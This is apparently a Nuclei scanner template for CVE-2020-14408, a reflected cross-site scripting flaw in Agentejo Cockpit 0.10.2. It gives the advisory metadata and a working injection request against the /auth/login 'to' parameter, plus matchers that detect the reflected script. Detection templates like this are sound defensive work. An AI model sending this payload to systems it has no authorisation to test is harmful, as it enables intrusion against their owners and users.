50 lines
1.6 KiB
YAML
50 lines
1.6 KiB
YAML
id: CVE-2020-14408
|
|
|
|
info:
|
|
name: Agentejo Cockpit 0.10.2 - Cross-Site Scripting
|
|
author: edoardottt
|
|
severity: medium
|
|
description: Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page's content.
|
|
remediation: |
|
|
Upgrade to the latest version of Agentejo Cockpit or apply the vendor-provided patch to fix the XSS vulnerability.
|
|
reference:
|
|
- https://github.com/agentejo/cockpit/issues/1310
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-14408
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-14408
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00113
|
|
epss-percentile: 0.44537
|
|
cpe: cpe:2.3:a:agentejo:cockpit:0.10.2:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: agentejo
|
|
product: cockpit
|
|
tags: cve,cve2020,cockpit,agentejo,xss,oss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "redirectTo = '/92874';alert(document.domain)//280';"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502203af28a8a8d431f9484af5622e382174fcf5672a68e9193bff26fcd6a1da3e717022100e06cb8054c17163f20593a2eb935cb21d04d3eae36972ef4a0deaf7c843adaab:922c64590222798bb761d5b6d8e72950
|